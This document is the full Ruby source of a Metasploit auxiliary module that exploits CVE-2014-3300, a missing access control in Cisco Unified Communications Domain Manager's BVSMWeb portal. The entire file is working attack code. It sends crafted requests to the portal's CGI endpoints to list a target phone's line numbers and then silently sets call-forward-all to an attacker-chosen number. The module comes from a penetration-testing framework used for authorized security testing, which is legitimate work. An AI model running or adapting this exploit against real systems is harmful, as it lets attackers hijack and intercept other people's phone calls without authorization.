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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'rexml/document'
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class MetasploitModule < Msf::Auxiliary
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  include Msf::Exploit::Remote::HttpClient
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  def initialize(info={})
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    super(update_info(info,
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      'Name'        => 'Viproy CUCDM IP Phone XML Services - Call Forwarding Tool',
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      'Description' => %q{
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        The BVSMWeb portal in the web framework in Cisco Unified Communications Domain Manager
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        (CDM) 10 does not properly implement access control, which allows remote attackers to
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        modify user information. This module exploits the vulnerability to configure unauthorized
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        call forwarding.
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      },
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      'Author'      => 'fozavci',
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      'References'  =>
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        [
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          ['CVE', '2014-3300'],
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          ['BID', '68331']
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        ],
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      'License'     => MSF_LICENSE,
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      'Actions'     =>
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        [
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          [ 'Forward', { 'Description' => 'Enabling the call forwarding for the MAC address' } ],
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          [ 'Info', { 'Description' => 'Retrieving the call forwarding information for the MAC address' } ]
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        ],
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      'DefaultAction'  => 'Info'
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    ))
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    register_options(
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      [
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        OptString.new('TARGETURI', [ true, 'Target URI for XML services', '/bvsmweb']),
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        OptString.new('MAC', [ true, 'MAC Address of target phone', '000000000000']),
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        OptString.new('FORWARDTO', [ true, 'Number to forward all calls', '007']),
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        OptString.new('FINTNUMBER', [ false, 'FINTNUMBER of IP Phones, required for multiple lines'])
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      ])
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  end
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  def run
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    case action.name.upcase
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    when 'INFO'
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      get_info
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    when 'FORWARD'
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      forward_calls
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    end
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  end
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  def get_info
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    uri = normalize_uri(target_uri.to_s)
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    mac = datastore["MAC"]
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    print_status("Getting fintnumbers and display names of the IP phone")
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    res = send_request_cgi(
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        {
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            'uri'    => normalize_uri(uri, 'showcallfwd.cgi'),
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            'method' => 'GET',
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            'vars_get' => {
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                'device' => "SEP#{mac}"
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            }
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        })
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    unless res && res.code == 200 && res.body && res.body.to_s =~ /fintnumber/
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      print_error("Target appears not vulnerable!")
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      print_status("#{res}")
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      return []
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    end
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    doc = REXML::Document.new(res.body)
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    lines = []
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    fint_numbers = []
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    list = doc.root.get_elements('MenuItem')
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    list.each do |lst|
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      xlist = lst.get_elements('Name')
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      xlist.each {|l| lines << "#{l[0]}"}
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      xlist = lst.get_elements('URL')
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      xlist.each {|l| fint_numbers << "#{l[0].to_s.split('fintnumber=')[1]}" }
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    end
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    lines.size.times do |i|
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      print_status("Display Name: #{lines[i]}, Fintnumber: #{fint_numbers[i]}")
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    end
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    fint_numbers
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  end
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  def forward_calls
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    # for a specific FINTNUMBER redirection
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    uri = normalize_uri(target_uri.to_s)
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    forward_to = datastore["FORWARDTO"]
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    mac = datastore["MAC"]
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    if datastore['FINTNUMBER']
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      fint_numbers = [datastore['FINTNUMBER']]
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    else
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      fint_numbers = get_info
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    end
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    if fint_numbers.empty?
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      print_error("FINTNUMBER required to forward calls")
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      return
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    end
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    fint_numbers.each do |fintnumber|
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      print_status("Sending call forward request for #{fintnumber}")
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      send_request_cgi(
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          {
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              'uri'    => normalize_uri(uri, 'phonecallfwd.cgi'),
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              'method' => 'GET',
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              'vars_get' => {
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                  'cfoption'     => 'CallForwardAll',
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                  'device'       => "SEP#{mac}",
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                  'ProviderName' => 'NULL',
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                  'fintnumber'   => "#{fintnumber}",
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                  'telno1'       => "#{forward_to}"
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              }
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          })
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      res = send_request_cgi(
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          {
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              'uri'    => normalize_uri(uri, 'showcallfwdperline.cgi'),
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              'method' => 'GET',
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              'vars_get' => {
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                  'device'     => "SEP#{mac}",
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                  'fintnumber' => "#{fintnumber}"
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              }
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          })
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      if res && res.body && res.body && res.body.to_s =~ /CFA/
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        print_good("Call forwarded successfully for #{fintnumber}")
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      else
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        print_error("Call forward failed")
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      end
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    end
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  end
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end
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